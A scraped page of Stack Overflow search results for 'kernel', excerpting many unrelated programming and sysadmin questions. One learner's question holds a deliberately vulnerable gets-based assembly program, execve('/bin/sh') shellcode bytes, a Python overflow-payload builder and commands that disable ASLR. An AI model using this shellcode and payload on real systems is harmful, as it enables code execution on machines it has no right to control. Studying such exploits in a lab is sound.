Search Results

Search found 4448 results on 178 pages for 'kernel'.

Page 163/178 | < Previous Page | 159 160 161 162 163 164 165 166 167 168 169 170  | Next Page >

• What good technology podcasts are out there?

  - by Michael Stum

  Yes, Podcasts, those nice little Audiobooks I can listen to on the way to work. With the current amount of Podcasts, it's like searching a needle in a haystack, except that the haystack happens to be the Internet and is filled with too many of these "Hot new Gadgets" stuff :( Now, even though I am mainly a .NET developer nowadays, maybe anyone knows some good Podcasts from people regarding the whole software lifecycle? Unit Testing, Continous Integration, Documentation, Deployment... So - what are you guys and gals listening to? Please note that the categorizations are somewhat subjective and may not be 100% accurate as many podcasts cover several areas. Categorization is made against what is considered the "main" area. General Software Engineering / Productivity Stack Overflow TekPub (Requires Paid Subscription) SE Radio 43 Folders Perspectives Dr. Dobb's (now a video feed) The Pragmatic Podcast (Inactive) IT Matters Agile Toolkit Podcast The Stack Trace (Inactive) Parleys Techzing The Startup Success Podcast Berkeley CS class lectures FOSS Weekly .NET / Visual Studio / Microsoft Herding Code Hanselminutes .NET Rocks! Deep Fried Bytes Alt.Net Podcast Polymorphic Podcast Sparkling Client (The Silverlight Podcast) dnrTV! Spaghetti Code ASP.NET Podcast Channel 9 Radio TFS PowerScripting Podcast The Thirsty Developer Elegant Code ConnectedShow Crafty Coders Coding QA jQuery yayQuery The official jQuery podcast Java / Groovy The Java Posse Grails Podcast Java Technology Insider Ruby / Rails Railscasts Rails Envy The Ruby on Rails Podcast Rubiverse Web Design / JavaScript / Ajax WebDevRadio Boagworld The Rissington podcast Ajaxian YUI Theater Unix / Linux / Mac / iPhone Mac Developer Network Hacker Public Radio Linux Outlaws Mac OS Ken LugRadio Linux radio show (Inactive) The Linux Action Show! Linux Kernel Mailing List (LKML) Summary Podcast Stanford's iPhone programming class SysAdmin, Security or Infrastructure RunAs Radio Security Now! Crypto-Gram Security Podcast Hak5 VMWare VMTN Windows Weekly PaulDotCom Security The Register - Semi-Coherent Computing FeatherCast General Tech / Business Tekzilla This Week in Tech The Guardian Tech Weekly PCMag Radio Podcast Entrepreneurship Corner Manager Tools Other / Misc. / Podcast Networks IT Conversations Retrobits Podcast No Agenda Netcast Cranky Geeks The Command Line Freelance Radio IBM developerWorks The Register - Open Season Drunk and Retired Technometria Sod This Radio4Nerds Hacker Medley

  Read the article

• Hibernate 3.5-Final in JBoss 5.1.0.GA

  - by Bozhidar Batsov

  Hibernate 3.5-Final is finally here and it offers the much anticipated JPA2 support, amongst other features. I am working on a project(EJB3 based) using JBoss 5.1.0.GA and Hibernate 3.3, but I wanted to take advantage of the JPA2 and tried to upgrade to Hibernate 3.5. What I did was fairly simple and standard - I just put all the hibernate 3.5 jars in the server/configuration(default,all,etc)/lib folder - that way they take precedence over the hibernate artifacts shipped with JBoss. It seems though that JBoss ships with libraries that are dependent on the JPA1 implementation part of the hibernate 3.3, because I started getting some errors about unimplemented abstract methods and stuff like that on deploy: 23:21:26,792 WARN [Ejb3Configuration] Persistence provider caller does not implement the EJB3 spec correctly. PersistenceUnitInfo.getNewTempClassLoader() is null. 23:21:26,792 ERROR [AbstractKernelController] Error installing to Start: name=persistence.unit:unitName=kernel-ear-3.3.0-SNAPSHOT.ear/config-persistence.jar#ConfigurationPersistenceUnit state=Create java.lang.AbstractMethodError: org.jboss.jpa.deployment.PersistenceUnitInfoImpl.getValidationMode()Ljavax/persistence/ValidationMode; at org.hibernate.ejb.Ejb3Configuration.configure(Ejb3Configuration.java:613) at org.hibernate.ejb.HibernatePersistence.createContainerEntityManagerFactory(HibernatePersistence.java:72) at org.jboss.jpa.deployment.PersistenceUnitDeployment.start(PersistenceUnitDeployment.java:301) at sun.reflect.GeneratedMethodAccessor308.invoke(Unknown Source) Maybe I should use a different persistence provided? Currently it's: org.hibernate.ejb.HibernatePersistence I looked around the net and didn't find any documented upgrade paths. There was even an unanswered question here in stack overflow on the topic. Any ideas, suggestions? Thanks in advance for your help.

  Read the article

• GIT repository layout for server with multiple projects

  - by Paul Alexander

  One of the things I like about the way I have Subversion set up is that I can have a single main repository with multiple projects. When I want to work on a project I can check out just that project. Like this \main \ProductA \ProductB \Shared then svn checkout http://.../main/ProductA As a new user to git I want to explore a bit of best practice in the field before committing to a specific workflow. From what I've read so far, git stores everything in a single .git folder at the root of the project tree. So I could do one of two things. Set up a separate project for each Product. Set up a single massive project and store products in sub folders. There are dependencies between the products, so the single massive project seems appropriate. We'll be using a server where all the developers can share their code. I've already got this working over SSH & HTTP and that part I love. However, the repositories in SVN are already many GB in size so dragging around the entire repository on each machine seems like a bad idea - especially since we're billed for excessive network bandwidth. I'd imagine that the Linux kernel project repositories are equally large so there must be a proper way of handling this with Git but I just haven't figured it out yet. Are there any guidelines or best practices for working with very large multi-project repositories?

  Read the article

• Using git subtree to clone a subdirectory of a project with versioning history then merge it back af

  - by D W

  I am a graduate student with many scripts, bibliography data in bibtex, thesis draft in latex, presentations in open office, posters in scribus, and figures and result data. I would like to put everything in one project under version control. Then when I need to work on a portion such as the bibliography data, I would like to check that subdirectory out, modify it as necessary and merge it back.I would like the ability to check out one version to my home computer, and a different one to my work computer and make changes to each independently and eventually merge them back. I would also like to be able to check out a piece of code from this big project and import it with versioning into a separate project. If I may changes I'd like to be able to merge them back to the original project. Based on my understanding git subtree can do this. http://github.com/apenwarr/git-subtree There is an example that is along the lines of what I'm trying to do at: http://psionides.jogger.pl/2010/02/04/sharing-code-between-projects-with-git-subtree/ This code is from that site: git clone git://git2.kernel.org/pub/scm/git/git.git newtree=$(git subtree split --prefix=gitweb --annotate='(split) ' \ 0a8f4f0^.. --onto=1130ef3 --rejoin) git branch latest_gitweb $newtree gitk latest_gitweb Say the trunk of my project contained the directories: (bib bin cfg data fig src todo). How would I use git-subtree to split off the bib (bibliography) directory with versioning? When I use git-subtree split --prefix=bib I get 884842f6f4e9896e2e4e9402ee0ef762cd617257 as output, but I don't know where to go from there.

  Read the article

• No Program Entry Point TASM Error

  - by Nathan Campos

  I'm trying to develop a simple kernel using TASM, using this code: ; beroset.asm ; ; This is a primitive operating system. ; ;********************************************************************** code segment para public use16 '_CODE' .386 assume cs:code, ds:code, es:code, ss:code org 0 Start: mov ax,cs mov ds,ax mov es,ax mov si,offset err_msg call DisplayMsg spin: jmp spin ;**************************************************************************** ; DisplayMsg ; ; displays the ASCIIZ message to the screen using int 10h calls ; ; Entry: ; ds:si ==> ASCII string ; ; Exit: ; ; Destroyed: ; none ; ; ;**************************************************************************** DisplayMsg proc push ax bx si cld nextchar: lodsb or al,al jz alldone mov bx,0007h mov ah,0eh int 10h jmp nextchar alldone: pop si bx ax ret DisplayMsg endp err_msg db "Operating system found and loaded.",0 code ends END Then I compile it like this: C:\DOCUME~1\Nathan\Desktop tasm /la /m2 beroset.asm Turbo Assembler Version 4.1 Copyright (c) 1988, 1996 Borland International Assembling file: beroset.asm Error messages: None Warning messages: None Passes: 2 Remaining memory: 406k C:\DOCUME~1\Nathan\Desktop tlink beroset, loader.bin Turbo Link Version 7.1.30.1. Copyright (c) 1987, 1996 Borland International Fatal: No program entry point C:\DOCUME~1\Nathan\Desktop What can I to correct this error?

  Read the article

• How To Create Your Own x86 Operating System for Modern PC Computers

  - by mudge

  I'd like to create a new operating system for x86 PC computers. I'd like it to be 64-bit but possibly run as 32-bit as well. I have these kinds of questions: What kinds of things do you start working on first? Knowing where to start in writing your own operating system seems to me to be a tricky subject, so I am interested in your input. Generally how to go about making your own 32-bit/64-bit operating system, or good resources that mention useful information about going about writing your own operating system for x86 computers. I don't care how old sources are as long as they are still relevant and useful to what I am doing. I know that I will want it to have kernel drivers that access peripheral hardware directly. Where should I look for advice and documentation for programming and understanding the interface to peripheral hardware the operating system will communicate with? I will need to understand how the operating system will receive input and interact with keyboards, mice, computer monitors, hard drives, USB, etc. etc. This is probably the area I know least about. I have the Intel instruction set manuals and have been getting more familiar with assembly programming, so the CPU side of things is what I know the most about. At this point I'm thinking that I'd like to implement the Linux system calls within my operating system so that programs that run on Linux can run on my operating system. I want my operating system to use the ELF binary format. I wonder what obstacles I have to overcome to achieve this Linux compatibility. Are the main things implementing the system calls that Linux provides, and using the ELF format? What else? I am also interested in people's thoughts about why it might not be a good idea to make your own operating system, and why it is a good idea to make your own operating system. Thank you for any input.

  Read the article

• Ruby Gems Not Installing, Hangs While Getting Gems

  - by Tim Hoolihan

  I recently cleared out all of my ruby install and installed form sources using the instructions at hivelogic I have have been able to install a few gems, but most of the time, "sudo gem install rails" hangs. I've added the -V flag, and it just seems to hang, I don't get any error. And the process can not be killed. I can only reboot to kill the process. My ruby info: [tim@ ~]# ruby -v ruby 1.8.7 (2010-01-10 patchlevel 249) [i686-darwin10.2.0] [tim@ ~]# gem -v 1.3.6 [tim@ ~]# gem environment RubyGems Environment: - RUBYGEMS VERSION: 1.3.6 - RUBY VERSION: 1.8.7 (2010-01-10 patchlevel 249) [i686-darwin10.2.0] - INSTALLATION DIRECTORY: /usr/local/lib/ruby/gems/1.8 - RUBY EXECUTABLE: /usr/local/bin/ruby - EXECUTABLE DIRECTORY: /usr/local/bin - RUBYGEMS PLATFORMS: - ruby - x86-darwin-10 - GEM PATHS: - /usr/local/lib/ruby/gems/1.8 - /Users/tim/.gem/ruby/1.8 - GEM CONFIGURATION: - :update_sources => true - :verbose => true - :benchmark => false - :backtrace => false - :bulk_threshold => 1000 - :sources => ["http://gems.rubyforge.org/", "http://gems.rubyforge.org"] - REMOTE SOURCES: - http://gems.rubyforge.org/ - http://gems.rubyforge.org [tim@ ~]# which ruby /usr/local/bin/ruby [tim@ ~]# which gem /usr/local/bin/gem [tim@ ~]# uname -a Darwin tim-hoolihans-macbook-pro-15.local 10.2.0 Darwin Kernel Version 10.2.0: Tue Nov 3 10:37:10 PST 2009; root:xnu-1486.2.11~1/RELEASE_I386 i386 [tim@ ~]# Any ideas?

  Read the article

• How do I install LFE on Ubuntu Karmic?

  - by karlthorwald

  Erlang was already installed: $dpkg -l|grep erlang ii erlang 1:13.b.3-dfsg-2ubuntu2 Concurrent, real-time, distributed function ii erlang-appmon 1:13.b.3-dfsg-2ubuntu2 Erlang/OTP application monitor ii erlang-asn1 1:13.b.3-dfsg-2ubuntu2 Erlang/OTP modules for ASN.1 support ii erlang-base 1:13.b.3-dfsg-2ubuntu2 Erlang/OTP virtual machine and base applica ii erlang-common-test 1:13.b.3-dfsg-2ubuntu2 Erlang/OTP application for automated testin ii erlang-debugger 1:13.b.3-dfsg-2ubuntu2 Erlang/OTP application for debugging and te ii erlang-dev 1:13.b.3-dfsg-2ubuntu2 Erlang/OTP development libraries and header [... many more] Erlang seems to work: $ erl Erlang R13B03 (erts-5.7.4) [source] [64-bit] [smp:2:2] [rq:2] [async-threads:0] [hipe] [kernel-poll:false] Eshell V5.7.4 (abort with ^G) 1> I downloaded lfe from github and checked out 0.5.2: git clone http://github.com/rvirding/lfe.git cd lfe git checkout -b local0.5.2 e207eb2cad $ configure configure: command not found $ make mkdir -p ebin erlc -I include -o ebin -W0 -Ddebug +debug_info src/*.erl #erl -I -pa ebin -noshell -eval -noshell -run edoc file src/leex.erl -run init stop #erl -I -pa ebin -noshell -eval -noshell -run edoc_run application "'Leex'" '"."' '[no_packages]' #mv src/*.html doc/ Must be something stupid i missed :o $ sudo make install make: *** No rule to make target `install'. Stop. $ erl -noshell -noinput -s lfe_boot start {"init terminating in do_boot",{undef,[{lfe_boot,start,[]},{init,start_it,1},{init,start_em,1}]}} Crash dump was written to: erl_crash.dump init terminating in do_boot () Is there an example how I would create a hello world source file and compile and run it?

  Read the article

• Ext3 fs: Block bitmap for group 1 not in group (block 0). is fs dead?

  - by ip

  Hi, My company has a server with one big partition with Mysql database and php files. Now this partition seems to be corrupted, as reported from kernel messages when I tried to mount it manually: [329862.817837] EXT3-fs error (device loop1): ext3_check_descriptors: Block bitmap for group 1 not in group (block 0)! [329862.817846] EXT3-fs: group descriptors corrupted! I've tried to recovery it running tools from a PLD livecd. These are the tools I have tested: - e2retrieve - testdisk - photorec - dd_rescue/dd_rhelp - ddrescue - fsck.ext2 - e2salvage without any success. dumpe2fs 1.41.3 (12-Oct-2008) Filesystem volume name: /dev/sda3 Last mounted on: <not available> Filesystem UUID: dd51610b-6de0-4392-a6f3-67160dbc0343 Filesystem magic number: 0xEF53 Filesystem revision #: 1 (dynamic) Filesystem features: has_journal filetype sparse_super Default mount options: (none) Filesystem state: not clean with errors Errors behavior: Continue Filesystem OS type: Linux Inode count: 9502720 Block count: 18987570 Reserved block count: 949378 Free blocks: 11555345 Free inodes: 11858398 First block: 0 Block size: 4096 Fragment size: 4096 Blocks per group: 32768 Fragments per group: 32768 Inodes per group: 16384 Inode blocks per group: 512 Last mount time: Wed Mar 24 09:31:03 2010 Last write time: Mon Apr 12 11:46:32 2010 Mount count: 10 Maximum mount count: 30 Last checked: Thu Jan 1 01:00:00 1970 Check interval: 0 (<none>) Reserved blocks uid: 0 (user root) Reserved blocks gid: 0 (group root) First inode: 11 Inode size: 128 Journal inode: 8 Journal backup: inode blocks dumpe2fs: A block group is missing an inode table while reading journal inode There's any other tools I have to test before considering these disk definitely unrecoverable? Many thanks, ip

  Read the article

• Suggestions for doing async I/O with Task Parallel Library

  - by anelson

  I have some high performance file transfer code which I wrote in C# using the Async Programming Model (APM) idiom (eg, BeginRead/EndRead). This code reads a file from a local disk and writes it to a socket. For best performance on modern hardware, it's important to keep more than one outstanding I/O operation in flight whenever possible. Thus, I post several BeginRead operations on the file, then when one completes, I call a BeginSend on the socket, and when that completes I do another BeginRead on the file. The details are a bit more complicated than that but at the high level that's the idea. I've got the APM-based code working, but it's very hard to follow and probably has subtle concurrency bugs. I'd love to use TPL for this instead. I figured Task.Factory.FromAsync would just about do it, but there's a catch. All of the I/O samples I've seen (most particularly the StreamExtensions class in the Parallel Extensions Extras) assume one read followed by one write. This won't perform the way I need. I can't use something simple like Parallel.ForEach or the Extras extension Task.Factory.Iterate because the async I/O tasks don't spend much time on a worker thread, so Parallel just starts up another task, resulting in potentially dozens or hundreds of pending I/O operations; way too much! You can work around that by Waiting on your tasks, but that causes creation of an event handle (a kernel object), and a blocking wait on a task wait handle, which ties up a worker thread. My APM-based implementation avoids both of those things. I've been playing around with different ways to keep multiple read/write operations in flight, and I've managed to do so using continuations that call a method that creates another task, but it feels awkward, and definitely doesn't feel like idiomatic TPL. Has anyone else grappled with an issue like this with the TPL? Any suggestions?

  Read the article

• .NET Reference "Copy Local" True / False Being Set Based on Contents of GAC

  - by D-Sect

  We had a very interesting problem with a Win Forms project. It's been resolved. We know what happened, but we want to understand why it happened. This may help other people out in the future who have a similar problem. The WinForms project failed on 2 of our client's PCs. The error was an obscure kernel.dll error. The project ran fine on 3 other PCs. We found that a .DLL (log4net.dll - a very popular open-source logging library) was missing from our release folder. It was previously in our release folder. Why was it missing in this latest release? It was missing because I must have installed a program on my Dev box that used log4net.dll and it was added to the Global Assembly Cache. When I checked the solution's references for log4net.dll, they were changed to "copy local=FALSE". They must have changed automatically because log4net.dll was present in my GAC. Here's where my question starts: Why did my reference for log4net.dll get changed from COPY LOCAL = TRUE to COPY LOCAL = FALSE? I suspect it's because it was added to my GAC by another program. How can we prevent this from happening again? As it stands now, if I install a piece of software that uses a common library and it adds it to my GAC, then my SLNs that reference that DLL will change from Copy Local TRUE to FALSE.

  Read the article

• Leopard => Snow Leopard architecture woes with nokogiri / rails

  - by Julian

  I'm confused. It's a regular state of affairs for me but specifically in this case I felt I could reach out to fellow stackoverflowers (that is, stackoverflow-ers, not stackover-flowers). uname -a Darwin macbookpro 10.3.0 Darwin Kernel Version 10.3.0: Fri Feb 26 11:58:09 PST 2010; root:xnu-1504.3.12~1/RELEASE_I386 i386 set bash-3.2$ set ... HOSTTYPE=x86_64 ... MACHTYPE=x86_64-apple-darwin10.0 ... I'm having a nightmare rebuilding some native ruby gems and I'm wondering whether this is part of the problem -- part of this machine says its 64 bit but another part 32 ... as far as I can tell? Under 'About this Mac' it says 'Intel Core 2 Duo' which Apple says is 64 bit. So why, after doing sudo gem pristine --all am I still getting this kind of error? dlopen(/Applications/Rails/ruby/lib/ruby/gems/1.8/gems/nokogiri-1.4.2/lib/nokogiri/nokogiri.bundle, 9): no suitable image found. Did find: /Applications/Rails/ruby/lib/ruby/gems/1.8/gems/nokogiri-1.4.2/lib/nokogiri/nokogiri.bundle: mach-o, but wrong architecture - /Applications/Rails/ruby/lib/ruby/gems/1.8/gems/nokogiri-1.4.2/lib/nokogiri/nokogiri.bundle Specifically I had removed nokogiri and reinstalled it. No errors in output. bash-3.2$ sudo gem install nokogiri Building native extensions. This could take a while... Successfully installed nokogiri-1.4.2 1 gem installed thanks for any thoughts!

  Read the article

• JBoss 5.1 binds to host address while run in vserver with -b <guest address>

  - by bart cane

  Hello, while starting JBoss 5.1.0.GA in virtual server machine on Debian (linux-VServer technology) I get the following error: ERROR [org.jboss.kernel.plugins.dependency.AbstractKernelController] (main) Error installing to Start: name=jboss.remoting:protocol=rmi,service=JMXConnectorServer state=Create mode=Manual requiredState=Installed java.io.IOException: Cannot bind to URL [rmi://10.1.2.11:1090/jmxconnector]: javax.naming.NoPermissionException [Root exception is java.rmi.ServerException: RemoteException occurred in server thread; nested exception is: java.rmi.AccessException: Registry.Registry.bind disallowed; origin /AA.BB.CC.DD is non-local host] where AA.BB.CC.DD is host machine name, 10.1.2.11 is vserver guest with JBoss and JBoss is started with -b 10.1.2.11 (I also tried -Djboss.bind.address=10.1.2.11 - the same result). 10.1.2.11 is bound to dummy2 interface on host (serving 10.1.2.1 network). The root exception is strange - why JBoss wants to bind to host address AA.BB.CC.DD? There were no problems with 4.2.3.GA on the same machine, also started with -b 10.1.2.11. It starts correctly when no params present - binds to localhost and everything is ok, but it MUST be bound to 10.1.2.11 to be visible by Apache on another vserver guest, acting as proxy. I thought that it can be fixed by setting net.ipv4.conf.all.promote_secondaries=1 via sysctl (was 0) but it didn't help much. Has anyone had such problem? Regards, bart

  Read the article

• Help with SQL server stack dump

  - by edosoft

  Hi guru's We're running SQL 2005 standard SP2 on a 4cpu box. Suddenly it crashdumps, after which all pooled connections are invalid and it goes into admin-only mode (only sa can connect) The short stackdump is below. After the dump a number of errors show up like '2008-09-16 10:49:34.48 Server Resource Monitor (0xec4) Worker 0x03D1C0E8 appears to be non-yielding on Node 0. Memory freed: 232408 KB. Approx CPU Used: kernel 203 ms, user 140 ms, Interval: 250250.' Have Googled around but couldn't find a definate answer. Anyone? 2008-09-16 10:46:24.98 Server Using 'dbghelp.dll' version '4.0.5' 2008-09-16 10:46:25.40 Server **Dump thread - spid = 0, PSS = 0x00000000, EC = 0x00000000 2008-09-16 10:46:25.40 Server ***Stack Dump being sent to C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\SQLDump0009.txt 2008-09-16 10:46:25.40 Server * ******************************************************************************* 2008-09-16 10:46:25.40 Server * 2008-09-16 10:46:25.40 Server * BEGIN STACK DUMP: 2008-09-16 10:46:25.40 Server * 09/16/08 10:46:25 spid 0 2008-09-16 10:46:25.42 Server * 2008-09-16 10:46:25.42 Server * Non-yielding Resource Monitor 2008-09-16 10:46:25.42 Server * 2008-09-16 10:46:25.42 Server * ******************************************************************************* 2008-09-16 10:46:25.42 Server * ------------------------------------------------------------------------------- 2008-09-16 10:46:25.42 Server * Short Stack Dump 2008-09-16 10:46:25.76 Server Stack Signature for the dump is 0x00000352 2008-09-16 10:46:32.70 Server External dump process return code 0x20000001.

  Read the article

• Handling mach exceptions in 64bit OS X application

  - by Brad S

  I have been able to register my own mach port to capture mach exceptions in my applications and it works beautifully when I target 32 bit. However when I target 64 bit, my exception handler catch_exception_raise() gets called but the array of exception codes that is passed to the handler are 32 bits wide. This is expected in a 32 bit build but not in 64 bit. In the case where I catch EXC_BAD_ACCESS the first code is the error number and the second code should be the address of the fault. Since the second code is 32 bits wide the high 32 bits of the 64 bit fault address is truncated. I found a flag in <mach/exception_types.h> I can pass in task_set_exception_ports() called MACH_EXCEPTION_CODES which from looking at the Darwin sources appears to control the size of the codes passed to the handler. It looks like it is meant to be ored with the behavior passed in to task_set_exception_ports(). However when I do this and trigger an exception, my mach port gets notified, I call exc_server() but my handler never gets called, and when the reply message is sent back to the kernel I get the default exception behavior. I am targeting the 10.6 SDK. I really wish apple would document this stuff better. Any one have any ideas?

  Read the article

• Fitting Gaussian KDE in numpy/scipy in Python

  - by user248237

  I am fitting a Gaussian kernel density estimator to a variable that is the difference of two vectors, called "diff", as follows: gaussian_kde_covfact(diff, smoothing_param) -- where gaussian_kde_covfact is defined as: class gaussian_kde_covfact(stats.gaussian_kde): def __init__(self, dataset, covfact = 'scotts'): self.covfact = covfact scipy.stats.gaussian_kde.__init__(self, dataset) def _compute_covariance_(self): '''not used''' self.inv_cov = np.linalg.inv(self.covariance) self._norm_factor = sqrt(np.linalg.det(2*np.pi*self.covariance)) * self.n def covariance_factor(self): if self.covfact in ['sc', 'scotts']: return self.scotts_factor() if self.covfact in ['si', 'silverman']: return self.silverman_factor() elif self.covfact: return float(self.covfact) else: raise ValueError, \ 'covariance factor has to be scotts, silverman or a number' def reset_covfact(self, covfact): self.covfact = covfact self.covariance_factor() self._compute_covariance() This works, but there is an edge case where the diff is a vector of all 0s. In that case, I get the error: File "/srv/pkg/python/python-packages/python26/scipy/scipy-0.7.1/lib/python2.6/site-packages/scipy/stats/kde.py", line 334, in _compute_covariance self.inv_cov = linalg.inv(self.covariance) File "/srv/pkg/python/python-packages/python26/scipy/scipy-0.7.1/lib/python2.6/site-packages/scipy/linalg/basic.py", line 382, in inv if info>0: raise LinAlgError, "singular matrix" numpy.linalg.linalg.LinAlgError: singular matrix What's a way to get around this? In this case, I'd like it to return a density that's essentially peaked completely at a difference of 0, with no mass everywhere else. thanks.

  Read the article

• Calculating Nearest Match to Mean/Stddev Pair With LibSVM

  - by Chris S

  I'm new to SVMs, and I'm trying to use the Python interface to libsvm to classify a sample containing a mean and stddev. However, I'm getting nonsensical results. Is this task inappropriate for SVMs or is there an error in my use of libsvm? Below is the simple Python script I'm using to test: #!/usr/bin/env python # Simple classifier test. # Adapted from the svm_test.py file included in the standard libsvm distribution. from collections import defaultdict from svm import * # Define our sparse data formatted training and testing sets. labels = [1,2,3,4] train = [ # key: 0=mean, 1=stddev {0:2.5,1:3.5}, {0:5,1:1.2}, {0:7,1:3.3}, {0:10.3,1:0.3}, ] problem = svm_problem(labels, train) test = [ ({0:3, 1:3.11},1), ({0:7.3,1:3.1},3), ({0:7,1:3.3},3), ({0:9.8,1:0.5},4), ] # Test classifiers. kernels = [LINEAR, POLY, RBF] kname = ['linear','polynomial','rbf'] correct = defaultdict(int) for kn,kt in zip(kname,kernels): print kt param = svm_parameter(kernel_type = kt, C=10, probability = 1) model = svm_model(problem, param) for test_sample,correct_label in test: pred_label, pred_probability = model.predict_probability(test_sample) correct[kn] += pred_label == correct_label # Show results. print '-'*80 print 'Accuracy:' for kn,correct_count in correct.iteritems(): print '\t',kn, '%.6f (%i of %i)' % (correct_count/float(len(test)), correct_count, len(test)) The domain seems fairly simple. I'd expect that if it's trained to know a mean of 2.5 means label 1, then when it sees a mean of 2.4, it should return label 1 as the most likely classification. However, each kernel has an accuracy of 0%. Why is this? On a side note, is there a way to hide all the verbose training output dumped by libsvm in the terminal? I've searched libsvm's docs and code, but I can't find any way to turn this off.

  Read the article

• Is an LSA MSV1_0 subauthentication package needed for some impersonation use cases?

  - by Chris Sears

  Greetings, I'm working with a vendor who has implemented some code that uses a Windows LSA MSV1_0 subauthentication package (MSDN info if you're interested: http://msdn.microsoft.com/en-us/library/aa374786(VS.85).aspx ) and I'm trying to figure out if it's necessary. As far as I can tell, the subauthentication routine and filter allow for hooking or customizing the standard LSA MSV1_0 logon event processing. The issue is that I don't understand why the vendor's product would need these capabilities. I've asked them and they said they use it to perform impersonation. The product definitely does need to do impersonation, but based on my limited win32 knowledge, they could get the functionality they need using the normal auth APIs (LsaLogonUser, ImpersonateLoggedOnUser, etc) without the subauthentication package. Furthermore, I've worked with a number of similar products that all do impersonation, and this is the only one that's used a subauthentication package. If you're wondering why I would care, a previous version of the product had a bug in the subauthentication package dll that would cause lockups or bluescreens. That makes me rather nervous and has me questioning the use of such a low-level, kernel sensitive interface. I'd like to go back to the vendor and say "There's no way you could need an LSA subauth package for impersonation - take it out", but I'm not sure I understand the use cases and possible limitations of the standard win32 authentication/impersonation APIs well enough to make that claim definitively. So, to the win32 security gurus out there, is there any reason you would need an LSA MSV1_0 subauthentication package if all you were doing is impersonation? Thanks in advance for any thoughts!

  Read the article

• Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

  - by henning

  Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

  Read the article

• POSIX AIO Library and Callback Handlers

  - by Charles Salvia

  According to the documentation on aio_read/write, there are basically 2 ways that the AIO library can inform your application that an async file I/O operation has completed. Either 1) you can use a signal, 2) you can use a callback function I think that callback functions are vastly preferable to signals, and would probably be much easier to integrate into higher-level multi-threaded libraries. Unfortunately, the documentation for this functionality is a mess to say the least. Some sources, such as the man page for the sigevent struct, indicate that you need to set the sigev_notify data member in the sigevent struct to SIGEV_CALLBACK and then provide a function handler. Presumably, the handler is invoked in the same thread. Other documentation indicates you need to set sigev_notify to SIGEV_THREAD, which will invoke the callback handler in a newly created thread. In any case, on my Linux system (Ubuntu with a 2.6.28 kernel) SIGEV_CALLBACK doesn't seem to be defined anywhere, but SIGEV_THREAD works as advertised. Unfortunately, creating a new thread to invoke the callback handler seems really inefficient, especially if you need to invoke many handlers. It would be better to use an existing pool of threads, similar to the way most network I/O event demultiplexers work. Some versions of UNIX, such as QNX, include a SIGEV_SIGNAL_THREAD flag, which allows you to invoke handlers using a specified existing thread, but this doesn't seem to be available on Linux, nor does it seem to even be a part of the POSIX standard. So, is it possible to use the POSIX AIO library in a way that invokes user handlers in a pre-allocated background thread/threadpool, rather than creating/destroying a new thread everytime a handler is invoked?

  Read the article

• .NET Reference "Copy Local" True / Fasle Being Set Based on Contents of General Assembly

  - by D-Sect

  Hello All. First question for me here. We had a very interesting problem with a Win Forms project. It's been resolved. We know what happened, but we want to understand why it happened. This may help other people out in the future who have a similar problem. The WinForms project failed on 2 of our client's PCs. The error was an obscure kernel.dll error. The project ran fine on 3 other PCs. We found that a .DLL (log4net.dll - a very popular open-source logging library) was missing from our release folder. It was previously in our release folder. Why was it missing in this latest release? It was missing because I must have installed a program on my Dev box that used log4net.dll and it was added to the general assembly. When I checked the SLN's references for log4net.dll, they were changed to "copy local=FALSE". They must have changed automagicially because log4net.dll was present in my GAC. Here's where my question starts: Why did my reference for log4net.dll get changed from COPY LOCAL = TRUE to COPY LOCAL = FALSE? I suspect it's because it was added to my GAC by another program. How can we prevent this from happening again? As it stands now, if I install a piece of software that uses a common library and it adds it to my GAC, then my SLNs that REF that DLL will change from Copy Local TRUE to FALSE. Thank you so much. I hope this helps people out who have a piece of software that runs in some places, but not in others, when it used to run fine in ALL places.

  Read the article

• Odd difference between Python 2.5 and Python 2.6 on MacOS 10.6 using ctypes and libproc proc_pidinfo

  - by cemasoniv

